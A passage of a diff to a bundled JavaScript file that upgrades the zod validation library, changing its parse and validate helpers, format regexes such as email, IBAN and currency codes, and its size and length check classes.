finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56267,9 +56655,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56277,8 +56666,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56292,6 +56683,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56303,6 +56695,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56332,10 +56725,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56347,13 +56743,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56364,33 +56760,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56426,13 +56827,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56441,22 +56850,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56469,22 +56868,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56496,14 +56885,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56522,32 +56910,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56558,7 +56938,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56571,10 +56951,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56582,10 +56962,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56598,18 +56978,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56617,10 +56991,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56633,26 +57007,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56661,26 +57027,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56689,24 +57047,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56719,27 +57068,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56748,27 +57090,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56777,22 +57112,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56808,14 +57135,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56863,13 +57182,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56888,11 +57202,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56911,11 +57220,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56949,12 +57253,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { 